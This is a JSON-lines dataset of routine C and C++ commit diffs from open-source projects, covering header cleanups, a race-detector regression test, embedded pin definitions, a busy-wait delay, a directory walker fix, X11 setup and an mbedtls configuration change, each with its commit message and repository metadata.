{"commit":"6446caf75a12bccdfc9b1af81586a1340b968db4","old_file":"Atomic\/Atomic.h","new_file":"Atomic\/Atomic.h","old_contents":"\/\/\n\/\/  Atomic.h\n\/\/  Atomic\n\/\/\n\/\/  Created by Adlai Holler on 12\/5\/15.\n\/\/  Copyright © 2015 Adlai Holler. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\/\/! Project version number for Atomic.\nFOUNDATION_EXPORT double AtomicVersionNumber;\n\n\/\/! Project version string for Atomic.\nFOUNDATION_EXPORT const unsigned char AtomicVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <Atomic\/PublicHeader.h>\n\n\n","new_contents":"\/\/\n\/\/  Atomic.h\n\/\/  Atomic\n\/\/\n\/\/  Created by Adlai Holler on 12\/5\/15.\n\/\/  Copyright © 2015 Adlai Holler. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/\/! Project version number for Atomic.\nFOUNDATION_EXPORT double AtomicVersionNumber;\n\n\/\/! Project version string for Atomic.\nFOUNDATION_EXPORT const unsigned char AtomicVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <Atomic\/PublicHeader.h>\n\n\n","subject":"Remove silly import of UIKit","message":"Remove silly import of UIKit\n","lang":"C","license":"mit","repos":"Adlai-Holler\/Atomic,Adlai-Holler\/Atomic"}
{"commit":"15585314e9802d0c9d341fb9a6b396fd6520e8d4","old_file":"tests\/regression\/28-race_reach\/36-indirect_racefree.c","new_file":"tests\/regression\/28-race_reach\/36-indirect_racefree.c","old_contents":"#include <pthread.h>\n#include \"racemacros.h\"\n\nint g;\nint *g1;\nint *g2;\n\npthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  pthread_mutex_lock(&mutex);\n  access(*g1);\n  pthread_mutex_lock(&mutex);\n  return NULL;\n}\n\nint main(void) {\n  g1 = g2 = &g;\n\n  create_threads(t);\n\n  assert_racefree(*g2); \/\/ UNKNOWN\n\n  join_threads(t);\n  return 0;\n}\n","new_contents":"#include <pthread.h>\n#include \"racemacros.h\"\n\nint g;\nint *g1;\nint *g2;\n\npthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  pthread_mutex_lock(&mutex);\n  access(*g1);\n  pthread_mutex_lock(&mutex);\n  return NULL;\n}\n\nint main(void) {\n  g1 = g2 = &g;\n\n  create_threads(t);\n  pthread_mutex_lock(&mutex);\n  assert_racefree(*g2);\n  pthread_mutex_lock(&mutex);\n  join_threads(t);\n  return 0;\n}\n","subject":"Fix 28\/36 to actually be race free","message":"Fix 28\/36 to actually be race free\n\nIt was the same as 28\/37.\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"a863c597d08a689be2103b67bc254ff749091fb9","old_file":"fw\/new\/libs\/AdapterBoard\/AdapterBoard.c","new_file":"fw\/new\/libs\/AdapterBoard\/AdapterBoard.c","old_contents":"#ifndef ADAPTERBOARD_H\n#define ADAPTERBOARD_H\n\n#include <RGBLed.h>\n\n#define LED_R 13\n#define LED_G 9\n#define LED_B 10\n#define BACKLIGHT_PIN 0\n\nclass AdapterBoard\n{\n  public:\n    AdapterBoard();\n    void init();\n    void poll();\n\n  private:\n    RGBLed led;\n    Backlight backlight;\n};\n\n#endif\n","new_contents":"#ifndef ADAPTERBOARD_H\n#define ADAPTERBOARD_H\n\n#include <RGBLed.h>\n\n#define LED_R 13\n#define LED_G 9\n#define LED_B 10\n#define BACKLIGHT_PIN 11\n#define SW_ON 4\n#define SW_UP 12\n#define SW_DOWN 6\n\nclass AdapterBoard\n{\n  public:\n    AdapterBoard();\n    void init();\n    void poll();\n\n  private:\n    RGBLed led;\n    Backlight backlight;\n};\n\n#endif\n","subject":"Add switch pin definitions, fix pin for backlight","message":"Add switch pin definitions, fix pin for backlight\n","lang":"C","license":"bsd-3-clause","repos":"OSCARAdapter\/OSCAR,OSCARAdapter\/OSCAR"}
{"commit":"4ae24681241a740719a370ade51d0cfa4608dbb8","old_file":"apps\/c_blinky\/main.c","new_file":"apps\/c_blinky\/main.c","old_contents":"#include <firestorm.h>\n#include <gpio.h>\n\n#define LED_1 1\n\nvoid main(void) {\n    gpio_enable_output(LED_0);\n    gpio_enable_output(LED_1);\n\n    while(1) {\n      gpio_set(LED_0);\n      gpio_clear(LED_1);\n      delay_ms(500);\n      gpio_set(LED_1);\n      gpio_clear(LED_0);\n      delay_ms(500);\n    }\n}\n\n","new_contents":"#include <firestorm.h>\n#include <gpio.h>\n\n#define LED_1 1\n\n\/* Delay for for the given microseconds (approximately).\n *\n * For a 16 MHz CPU, 1us == 16 instructions (assuming each instruction takes\n * one cycle). *\/\nstatic void busy_delay_us(int duration)\n{\n\t\/\/ The inner loop instructions are: 14 NOPs + 1 SUBS\/ADDS + 1 CMP\n\twhile (duration-- != 0) {\n\t\t__asm volatile (\n\t\t\t\"nop\\n\"\n\t\t\t\"nop\\n\"\n\t\t\t\"nop\\n\"\n\t\t\t\"nop\\n\"\n\t\t\t\"nop\\n\"\n\t\t\t\"nop\\n\"\n\t\t\t\"nop\\n\"\n\t\t\t\"nop\\n\"\n\t\t\t\"nop\\n\"\n\t\t\t\"nop\\n\"\n\t\t\t\"nop\\n\"\n\t\t\t\"nop\\n\"\n\t\t\t\"nop\\n\"\n\t\t\t\"nop\\n\"\n\t\t);\n\t}\n}\n\n\/* Delay for for the given milliseconds (approximately).\n *\n * Note that this is not precise as there are 2 extra instructions on the inner\n * loop. Therefore, there is 1us added every 8 iterations. *\/\nstatic void busy_delay_ms(int duration)\n{\n\twhile (duration-- != 0) {\n\t\tbusy_delay_us(1000);\n\t}\n}\n\nvoid main(void) {\n    gpio_enable_output(LED_0);\n    gpio_enable_output(LED_1);\n\n    while(1) {\n      gpio_set(LED_0);\n      gpio_clear(LED_1);\n      busy_delay_ms(500);\n      gpio_set(LED_1);\n      gpio_clear(LED_0);\n      busy_delay_ms(500);\n    }\n}\n\n","subject":"Use a \"busy\" delay function for blinky","message":"WORKAROUND: Use a \"busy\" delay function for blinky\n\nWhile the timer support is not fixed, use a delay function the keeps the CPU\nbusy using a certain amount of NOPs.\n","lang":"C","license":"apache-2.0","repos":"google\/tock-on-titan,google\/tock-on-titan,google\/tock-on-titan"}
{"commit":"c4589974f09becf2c271e03153fe5e47709186a5","old_file":"include\/matrix_access_impl.h","new_file":"include\/matrix_access_impl.h","old_contents":"\/\/-----------------------------------------------------------------------------\n\/\/ Element Access\n\/\/-----------------------------------------------------------------------------\n\ntemplate<class T>\nT& matrix<T>::at( std::size_t row, std::size_t col ){\n  return data_.at(row*cols_+col);\n}\n\ntemplate<class T>\nconst T& matrix<T>::at( std::size_t row, std::size_t col ) const{\n  return data_.at(row*cols_+col);\n}\n\ntemplate<class T>\ntypename matrix<T>::matrix_row matrix<T>::operator[]( std::size_t row ){\n  return 0;\n}\n\ntemplate<class T>\nconst typename matrix<T>::matrix_row matrix<T>::operator[](\n    std::size_t row ) const{\n  return 0;\n}\n\n","new_contents":"\/\/-----------------------------------------------------------------------------\n\/\/ Element Access\n\/\/-----------------------------------------------------------------------------\n\ntemplate<class T>\nT& matrix<T>::at( std::size_t row, std::size_t col ){\n  \/\/ TODO throw if out of bounds\n  return data_.at(row*cols_+col);\n}\n\ntemplate<class T>\nconst T& matrix<T>::at( std::size_t row, std::size_t col ) const{\n  \/\/ TODO throw if out of bounds\n  return data_.at(row*cols_+col);\n}\n\ntemplate<class T>\ntypename matrix<T>::matrix_row matrix<T>::operator[]( std::size_t row ){\n  return 0;\n}\n\ntemplate<class T>\nconst typename matrix<T>::matrix_row matrix<T>::operator[](\n    std::size_t row ) const{\n  return 0;\n}\n\n","subject":"Add todo comment on at() functions.","message":"Add todo comment on at() functions.\n","lang":"C","license":"mit","repos":"actinium\/cppMatrix,actinium\/cppMatrix"}
{"commit":"a0accd6f92395240ef6bddf17903880af8201937","old_file":"server\/Bundle.h","new_file":"server\/Bundle.h","old_contents":"","new_contents":"typedef struct Bundle Bundle;\n\nstruct Bundle {\n\tMatrixServer* matrix;\n\tDb* db;\n\tint epfd;\n\tint threadNo; \/\/for init only, not used in the threads\n\tstd::string portNo; \/\/for init only, not used in the threads\n};\n","subject":"Move struct definition to header as it is reused in different cpp files","message":"Move struct definition to header as it is reused in different cpp files\n","lang":"C","license":"mit","repos":"BTriay\/QMessenger,BTriay\/QMessenger,BTriay\/QMessenger"}
{"commit":"52e1beb3dfe634b6e05cd28e480fce984ba36141","old_file":"bst.c","new_file":"bst.c","old_contents":"#include \"bst.h\"\n\nstatic void BST_Transplant(BST* T, BSTNode* u, BSTNode* v);\n\nstruct BSTNode\n{\n\tBSTNode* left;\n\tBSTNode* right;\n\tBSTNode* p;\n\tvoid* k;\n};\n\nstruct BST\n{\n\tBSTNode* root;\n};\n\nBST* BST_Create(void)\n{\n\tBST* T = (BST* )malloc(sizeof(BST));\n\tT->root = NULL;\n\treturn T;\n}\n\nBSTNode* BSTNode_Create(void* k)\n{\n\tBSTNode* n = (BSTNode* )malloc(sizeof(BSTNode));\n\tn->left = NULL;\n\tn->right = NULL;\n\tn->p = NULL;\n\tn->k = k;\n}\n\n","new_contents":"#include \"bst.h\"\n\nstatic void BST_Transplant(BST* T, BSTNode* u, BSTNode* v);\n\nstruct BSTNode\n{\n\tBSTNode* left;\n\tBSTNode* right;\n\tBSTNode* p;\n\tvoid* k;\n};\n\nstruct BST\n{\n\tBSTNode* root;\n};\n\nBST* BST_Create(void)\n{\n\tBST* T = (BST* )malloc(sizeof(BST));\n\tT->root = NULL;\n\treturn T;\n}\n\nBSTNode* BSTNode_Create(void* k)\n{\n\tBSTNode* n = (BSTNode* )malloc(sizeof(BSTNode));\n\tn->left = NULL;\n\tn->right = NULL;\n\tn->p = NULL;\n\tn->k = k;\n}\n\nvoid BST_Inorder_Tree_Walk(BSTNode* n, void (f)(void*))\n{\n\tif (n != NULL)\n\t{\n\t\tBST_Inorder_Tree_Walk(n->left, f);\n\t\tf(n->k);\n\t\tBST_Inorder_Tree_Walk(n->right, f);\n\t}\n}\n\n","subject":"Add BST inorder traversal function implementation","message":"Add BST inorder traversal function implementation\n","lang":"C","license":"mit","repos":"MaxLikelihood\/CADT"}
{"commit":"0ce4e4a4d016a671fafd162852530e7c768b9a6c","old_file":"dir.c","new_file":"dir.c","old_contents":"#include <dirent.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nstatic char *dircat(char *d1, char *d2)\n{\n    char *new = malloc(strlen(d1) + strlen(d2) + 2);\n    sprintf(new, \"%s\/%s\", d1, d2);\n    return new;\n}\n\nvoid dirwalk(char *name, void (*func)(char *, void *), void *ctx)\n{\n    DIR *dir = opendir(name);\n    struct dirent *d;\n\n    func(name, ctx);\n\n    readdir(dir); readdir(dir); \/* Ignore \".\" and \"..\" *\/\n    while ((d = readdir(dir)) != NULL) {\n        if (d->d_type == DT_DIR && d->d_name[0] != '.') {\n            char *nextdir = dircat(name, d->d_name);\n            dirwalk(nextdir, func, ctx);\n            free(nextdir);\n        }\n    }\n    closedir(dir);\n}\n\n\n","new_contents":"#include <dirent.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nstatic char *dircat(char *d1, char *d2)\n{\n    char *new = malloc(strlen(d1) + strlen(d2) + 2);\n    sprintf(new, \"%s\/%s\", d1, d2);\n    return new;\n}\n\nvoid dirwalk(char *name, void (*func)(char *, void *), void *ctx)\n{\n    DIR *dir = opendir(name);\n    struct dirent *d;\n\n    func(name, ctx);\n\n    while ((d = readdir(dir)) != NULL) {\n        if (d->d_type == DT_DIR && d->d_name[0] != '.') {\n            char *nextdir = dircat(name, d->d_name);\n            dirwalk(nextdir, func, ctx);\n            free(nextdir);\n        }\n    }\n    closedir(dir);\n}\n\n\n","subject":"Fix bug with . and ..","message":"Fix bug with . and ..\n","lang":"C","license":"mit","repos":"akojo\/quickfind"}
{"commit":"371fd15fa3e58cda2f575d443d5c9cd06551821f","old_file":"src\/xedgewarp.c","new_file":"src\/xedgewarp.c","old_contents":"\/\/ vim:ts=4:sw=4:expandtab\n\n#include <stdlib.h>\n#include <stdio.h>\n#include \"randr.h\"\n#include \"types.h\"\n#include \"globals.h\"\n\nint main(void) {\n    \/\/ TODO\n}\n","new_contents":"\/\/ vim:ts=4:sw=4:expandtab\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <err.h>\n#include <xcb\/xcb.h>\n#include <xcb\/xcb_aux.h>\n#include \"randr.h\"\n#include \"types.h\"\n#include \"globals.h\"\n\nxcb_connection_t *connection;\nxcb_window_t root;\n\nstatic void initialize(void) {\n    int display;\n    connection = xcb_connect(NULL, &display);\n    if (xcb_connection_has_error(connection)) {\n        errx(EXIT_FAILURE, \"could not connect to the X server, bailing out.\");\n    }\n\n    xcb_screen_t *screen = xcb_aux_get_screen(connection, display);\n    root = screen->root;\n}\n\nint main(void) {\n    initialize();\n    xcb_disconnect(connection);\n    exit(EXIT_SUCCESS);\n}\n","subject":"Initialize X11 connection and root screen.","message":"Initialize X11 connection and root screen.\n","lang":"C","license":"mit","repos":"Airblader\/xedgewarp,Airblader\/xedgewarp"}
{"commit":"1d40a955d93f517c1468a62896fd2ec24e3660ce","old_file":"include\/swift\/Basic\/Dwarf.h","new_file":"include\/swift\/Basic\/Dwarf.h","old_contents":"\/\/===--- Dwarf.h - DWARF constants ------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2017 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See https:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See https:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines several temporary Swift-specific DWARF constants.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef SWIFT_BASIC_DWARF_H\n#define SWIFT_BASIC_DWARF_H\n\n#include \"llvm\/Support\/Dwarf.h\"\n\nnamespace swift {\n  \/\/\/ The DWARF version emitted by the Swift compiler.\n  const unsigned DWARFVersion = 4;\n\n  static const char MachOASTSegmentName[] = \"__SWIFT\";\n  static const char MachOASTSectionName[] = \"__ast\";\n  static const char ELFASTSectionName[] = \".swift_ast\";\n  static const char COFFASTSectionName[] = \"swiftast\";\n} \/\/ end namespace swift\n\n#endif \/\/ SWIFT_BASIC_DWARF_H\n","new_contents":"\/\/===--- Dwarf.h - DWARF constants ------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2017 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See https:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See https:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines several temporary Swift-specific DWARF constants.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef SWIFT_BASIC_DWARF_H\n#define SWIFT_BASIC_DWARF_H\n\n#include \"llvm\/BinaryFormat\/Dwarf.h\"\n\nnamespace swift {\n  \/\/\/ The DWARF version emitted by the Swift compiler.\n  const unsigned DWARFVersion = 4;\n\n  static const char MachOASTSegmentName[] = \"__SWIFT\";\n  static const char MachOASTSectionName[] = \"__ast\";\n  static const char ELFASTSectionName[] = \".swift_ast\";\n  static const char COFFASTSectionName[] = \"swiftast\";\n} \/\/ end namespace swift\n\n#endif \/\/ SWIFT_BASIC_DWARF_H\n","subject":"Adjust for new LLVM BinaryFormat library in r304864.","message":"Adjust for new LLVM BinaryFormat library in r304864.\n","lang":"C","license":"apache-2.0","repos":"lorentey\/swift,xedin\/swift,frootloops\/swift,stephentyrone\/swift,ahoppen\/swift,xedin\/swift,stephentyrone\/swift,sschiau\/swift,huonw\/swift,benlangmuir\/swift,karwa\/swift,alblue\/swift,ahoppen\/swift,airspeedswift\/swift,OscarSwanros\/swift,return\/swift,practicalswift\/swift,jmgc\/swift,frootloops\/swift,airspeedswift\/swift,parkera\/swift,uasys\/swift,brentdax\/swift,gregomni\/swift,return\/swift,xedin\/swift,swiftix\/swift,sschiau\/swift,huonw\/swift,apple\/swift,hooman\/swift,benlangmuir\/swift,devincoughlin\/swift,amraboelela\/swift,shajrawi\/swift,JGiola\/swift,danielmartin\/swift,return\/swift,CodaFi\/swift,OscarSwanros\/swift,lorentey\/swift,sschiau\/swift,roambotics\/swift,apple\/swift,uasys\/swift,danielmartin\/swift,jckarter\/swift,swiftix\/swift,milseman\/swift,amraboelela\/swift,danielmartin\/swift,CodaFi\/swift,allevato\/swift,tjw\/swift,shahmishal\/swift,karwa\/swift,benlangmuir\/swift,milseman\/swift,deyton\/swift,benlangmuir\/swift,tkremenek\/swift,devincoughlin\/swift,xwu\/swift,amraboelela\/swift,airspeedswift\/swift,hooman\/swift,austinzheng\/swift,practicalswift\/swift,gribozavr\/swift,benlangmuir\/swift,gribozavr\/swift,CodaFi\/swift,hooman\/swift,aschwaighofer\/swift,gregomni\/swift,frootloops\/swift,alblue\/swift,shahmishal\/swift,aschwaighofer\/swift,jopamer\/swift,deyton\/swift,nathawes\/swift,swiftix\/swift,JGiola\/swift,amraboelela\/swift,frootloops\/swift,gregomni\/swift,harlanhaskins\/swift,alblue\/swift,shahmishal\/swift,JGiola\/swift,OscarSwanros\/swift,xwu\/swift,shajrawi\/swift,lorentey\/swift,deyton\/swift,CodaFi\/swift,rudkx\/swift,xedin\/swift,harlanhaskins\/swift,return\/swift,natecook1000\/swift,devincoughlin\/swift,alblue\/swift,jopamer\/swift,airspeedswift\/swift,xwu\/swift,brentdax\/swift,OscarSwanros\/swift,milseman\/swift,atrick\/swift,ahoppen\/swift,parkera\/swift,karwa\/swift,nathawes\/swift,shajrawi\/swift,uasys\/swift,hooman\/swift,zisko\/swift,shahmishal\/swift,xwu\/swift,return\/swift,natecook1000\/swift,jopamer\/swift,tkremenek\/swift,austinzheng\/swift,danielmartin\/swift,zisko\/swift,xedin\/swift,aschwaighofer\/swift,benlangmuir\/swift,harlanhaskins\/swift,natecook1000\/swift,xwu\/swift,stephentyrone\/swift,gregomni\/swift,glessard\/swift,rudkx\/swift,zisko\/swift,JGiola\/swift,huonw\/swift,lorentey\/swift,sschiau\/swift,jckarter\/swift,uasys\/swift,tjw\/swift,zisko\/swift,tkremenek\/swift,jckarter\/swift,rudkx\/swift,OscarSwanros\/swift,ahoppen\/swift,devincoughlin\/swift,nathawes\/swift,zisko\/swift,parkera\/swift,milseman\/swift,austinzheng\/swift,gregomni\/swift,devincoughlin\/swift,alblue\/swift,jckarter\/swift,jmgc\/swift,jmgc\/swift,swiftix\/swift,nathawes\/swift,rudkx\/swift,practicalswift\/swift,apple\/swift,jmgc\/swift,brentdax\/swift,brentdax\/swift,ahoppen\/swift,shajrawi\/swift,shahmishal\/swift,austinzheng\/swift,sschiau\/swift,roambotics\/swift,glessard\/swift,sschiau\/swift,uasys\/swift,roambotics\/swift,atrick\/swift,amraboelela\/swift,uasys\/swift,sschiau\/swift,alblue\/swift,deyton\/swift,brentdax\/swift,airspeedswift\/swift,return\/swift,gribozavr\/swift,alblue\/swift,jmgc\/swift,brentdax\/swift,jopamer\/swift,shajrawi\/swift,tjw\/swift,jckarter\/swift,huonw\/swift,parkera\/swift,hooman\/swift,shajrawi\/swift,aschwaighofer\/swift,zisko\/swift,CodaFi\/swift,shahmishal\/swift,stephentyrone\/swift,tjw\/swift,hooman\/swift,aschwaighofer\/swift,jckarter\/swift,tkremenek\/swift,natecook1000\/swift,danielmartin\/swift,jmgc\/swift,harlanhaskins\/swift,devincoughlin\/swift,tjw\/swift,glessard\/swift,jopamer\/swift,atrick\/swift,frootloops\/swift,nathawes\/swift,lorentey\/swift,danielmartin\/swift,hooman\/swift,allevato\/swift,xedin\/swift,xedin\/swift,deyton\/swift,atrick\/swift,jckarter\/swift,jmgc\/swift,airspeedswift\/swift,allevato\/swift,milseman\/swift,harlanhaskins\/swift,devincoughlin\/swift,lorentey\/swift,gribozavr\/swift,xedin\/swift,glessard\/swift,roambotics\/swift,stephentyrone\/swift,allevato\/swift,apple\/swift,apple\/swift,aschwaighofer\/swift,lorentey\/swift,swiftix\/swift,gribozavr\/swift,parkera\/swift,natecook1000\/swift,harlanhaskins\/swift,tjw\/swift,harlanhaskins\/swift,natecook1000\/swift,swiftix\/swift,roambotics\/swift,frootloops\/swift,ahoppen\/swift,rudkx\/swift,glessard\/swift,natecook1000\/swift,huonw\/swift,sschiau\/swift,gregomni\/swift,austinzheng\/swift,apple\/swift,OscarSwanros\/swift,devincoughlin\/swift,amraboelela\/swift,airspeedswift\/swift,JGiola\/swift,amraboelela\/swift,allevato\/swift,parkera\/swift,stephentyrone\/swift,stephentyrone\/swift,deyton\/swift,allevato\/swift,xwu\/swift,jopamer\/swift,atrick\/swift,aschwaighofer\/swift,karwa\/swift,practicalswift\/swift,karwa\/swift,frootloops\/swift,parkera\/swift,karwa\/swift,glessard\/swift,CodaFi\/swift,danielmartin\/swift,jopamer\/swift,xwu\/swift,tkremenek\/swift,shahmishal\/swift,shajrawi\/swift,return\/swift,milseman\/swift,karwa\/swift,milseman\/swift,lorentey\/swift,nathawes\/swift,karwa\/swift,parkera\/swift,shajrawi\/swift,zisko\/swift,practicalswift\/swift,austinzheng\/swift,brentdax\/swift,tkremenek\/swift,atrick\/swift,huonw\/swift,tkremenek\/swift,OscarSwanros\/swift,nathawes\/swift,roambotics\/swift,practicalswift\/swift,austinzheng\/swift,JGiola\/swift,allevato\/swift,rudkx\/swift,deyton\/swift,practicalswift\/swift,uasys\/swift,huonw\/swift,gribozavr\/swift,practicalswift\/swift,gribozavr\/swift,CodaFi\/swift,swiftix\/swift,shahmishal\/swift,tjw\/swift,gribozavr\/swift"}
{"commit":"068f57c5ca513befac3b3b56de36eed2ee78400d","old_file":"src\/common\/image_base.h","new_file":"src\/common\/image_base.h","old_contents":"\/\/ This file is distributed under the MIT license.\n\/\/ See the LICENSE file for details.\n\n#pragma once\n\n#ifndef VSNRAY_COMMON_IMAGE_BASE_H\n#define VSNRAY_COMMOM_IMAGE_BASE_H 1\n\n#include <cstddef>\n#include <cstdint>\n#include <string>\n#include <vector>\n\n#include <visionaray\/pixel_format.h>\n\nnamespace visionaray\n{\n\nclass image_base\n{\npublic:\n\n    friend class image;\n\npublic:\n\n    virtual bool load(std::string const& filename);\n    virtual bool save(std::string const& filename);\n\n    size_t width() const;\n    size_t height() const;\n\n    pixel_format format() const;\n\n    uint8_t const* data() const;\n\nprotected:\n\n    size_t width_;\n    size_t height_;\n\n    pixel_format format_ = PF_RGB8;\n\n    std::vector<uint8_t> data_;\n\n};\n\n} \/\/ visionaray\n\n#endif \/\/ VSNRAY_COMMOM_IMAGE_BASE_H\n","new_contents":"\/\/ This file is distributed under the MIT license.\n\/\/ See the LICENSE file for details.\n\n#pragma once\n\n#ifndef VSNRAY_COMMON_IMAGE_BASE_H\n#define VSNRAY_COMMOM_IMAGE_BASE_H 1\n\n#include <cstddef>\n#include <cstdint>\n#include <string>\n\n#include <visionaray\/aligned_vector.h>\n#include <visionaray\/pixel_format.h>\n\nnamespace visionaray\n{\n\nclass image_base\n{\npublic:\n\n    friend class image;\n\npublic:\n\n    virtual bool load(std::string const& filename);\n    virtual bool save(std::string const& filename);\n\n    size_t width() const;\n    size_t height() const;\n\n    pixel_format format() const;\n\n    uint8_t const* data() const;\n\nprotected:\n\n    size_t width_;\n    size_t height_;\n\n    pixel_format format_ = PF_RGB8;\n\n    aligned_vector<uint8_t> data_;\n\n};\n\n} \/\/ visionaray\n\n#endif \/\/ VSNRAY_COMMOM_IMAGE_BASE_H\n","subject":"Store image data in aligned_vector","message":"Store image data in aligned_vector\n","lang":"C","license":"mit","repos":"tu500\/visionaray,szellmann\/visionaray,ukoeln-vis\/ctpperf,ukoeln-vis\/ctpperf,tu500\/visionaray,szellmann\/visionaray"}
{"commit":"adddb65f4656b0b03b24fa3868e2a8c555af18da","old_file":"src\/osmo-bts-sysmo\/utils.h","new_file":"src\/osmo-bts-sysmo\/utils.h","old_contents":"#ifndef SYSMOBTS_UTILS_H\n#define SYSMOBTS_UTILS_H\n\n#include <stdint.h>\n#include \"femtobts.h\"\n\nstruct gsm_bts_trx;\n\nint band_femto2osmo(GsmL1_FreqBand_t band);\n\nint sysmobts_select_femto_band(struct gsm_bts_trx *trx, uint16_t arfcn);\n\nint sysmobts_get_nominal_power(struct gsm_bts_trx *trx);\n\nint sysmobts_get_target_power(struct gsm_bts_trx *trx);\n\nvoid sysmobts_pa_pwr_init(struct gsm_bts_trx *trx);\nvoid sysmobts_pa_maybe_step(struct gsm_bts_trx *trx);\n#endif\n","new_contents":"#ifndef SYSMOBTS_UTILS_H\n#define SYSMOBTS_UTILS_H\n\n#include <stdint.h>\n#include \"femtobts.h\"\n\nstruct gsm_bts_trx;\n\nint band_femto2osmo(GsmL1_FreqBand_t band);\n\nint sysmobts_select_femto_band(struct gsm_bts_trx *trx, uint16_t arfcn);\n\nint sysmobts_get_nominal_power(struct gsm_bts_trx *trx);\n#endif\n","subject":"Remove left-over from non-generic power control","message":"sysmobts: Remove left-over from non-generic power control\n","lang":"C","license":"agpl-3.0","repos":"geosphere\/osmo-bts,osmocom\/osmo-bts,geosphere\/osmo-bts,telenoobie\/osmo-bts,telenoobie\/osmo-bts,osmocom\/osmo-bts,telenoobie\/osmo-bts,geosphere\/osmo-bts,geosphere\/osmo-bts,osmocom\/osmo-bts,telenoobie\/osmo-bts"}
{"commit":"6b17df768563131677401dca775cf010c846c537","old_file":"features\/cryptocell\/FEATURE_CRYPTOCELL310\/mbedtls_device.h","new_file":"features\/cryptocell\/FEATURE_CRYPTOCELL310\/mbedtls_device.h","old_contents":" \/*\n  *  mbedtls_device.h\n  *\n  *  Copyright (C) 2018, Arm Limited, All Rights Reserved\n  *  SPDX-License-Identifier: Apache-2.0\n  *\n  *  Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n  *  not use this file except in compliance with the License.\n  *  You may obtain a copy of the License at\n  *\n  *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n  *\n  *  Unless required by applicable law or agreed to in writing, software\n  *  distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n  *  WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  *  See the License for the specific language governing permissions and\n  *  limitations under the License.\n  *\n  *\/\n\n#ifndef __MBEDTLS_DEVICE__\n#define __MBEDTLS_DEVICE__\n\n#define MBEDTLS_PLATFORM_SETUP_TEARDOWN_ALT\n#define MBEDTLS_SHA1_ALT\n#define MBEDTLS_SHA256_ALT\n#define MBEDTLS_SHA512_ALT\n#define MBEDTLS_CCM_ALT\n#define MBEDTLS_ECDSA_VERIFY_ALT\n#define MBEDTLS_ECDSA_SIGN_ALT\n#define MBEDTLS_ECDSA_GENKEY_ALT\n#define MBEDTLS_ECDH_GEN_PUBLIC_ALT\n#define MBEDTLS_ECDH_COMPUTE_SHARED_ALT\n\n#endif \/\/__MBEDTLS_DEVICE__\n","new_contents":" \/*\n  *  mbedtls_device.h\n  *\n  *  Copyright (C) 2018, Arm Limited, All Rights Reserved\n  *  SPDX-License-Identifier: Apache-2.0\n  *\n  *  Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n  *  not use this file except in compliance with the License.\n  *  You may obtain a copy of the License at\n  *\n  *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n  *\n  *  Unless required by applicable law or agreed to in writing, software\n  *  distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n  *  WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  *  See the License for the specific language governing permissions and\n  *  limitations under the License.\n  *\n  *\/\n\n#ifndef __MBEDTLS_DEVICE__\n#define __MBEDTLS_DEVICE__\n\n#define MBEDTLS_PLATFORM_SETUP_TEARDOWN_ALT\n#define MBEDTLS_SHA1_ALT\n#define MBEDTLS_SHA256_ALT\n\/\/#define MBEDTLS_SHA512_ALT\n#define MBEDTLS_CCM_ALT\n#define MBEDTLS_ECDSA_VERIFY_ALT\n#define MBEDTLS_ECDSA_SIGN_ALT\n#define MBEDTLS_ECDSA_GENKEY_ALT\n#define MBEDTLS_ECDH_GEN_PUBLIC_ALT\n#define MBEDTLS_ECDH_COMPUTE_SHARED_ALT\n\n#endif \/\/__MBEDTLS_DEVICE__\n","subject":"Make the alternative sha512 optional","message":"Make the alternative sha512 optional\n\nHave the alternative sha512 undefined by default,\nin order not to break backwards compatability.\n","lang":"C","license":"apache-2.0","repos":"kjbracey-arm\/mbed,kjbracey-arm\/mbed,mbedmicro\/mbed,kjbracey-arm\/mbed,mbedmicro\/mbed,kjbracey-arm\/mbed,mbedmicro\/mbed,andcor02\/mbed-os,mbedmicro\/mbed,andcor02\/mbed-os,andcor02\/mbed-os,andcor02\/mbed-os,andcor02\/mbed-os,andcor02\/mbed-os,mbedmicro\/mbed"}
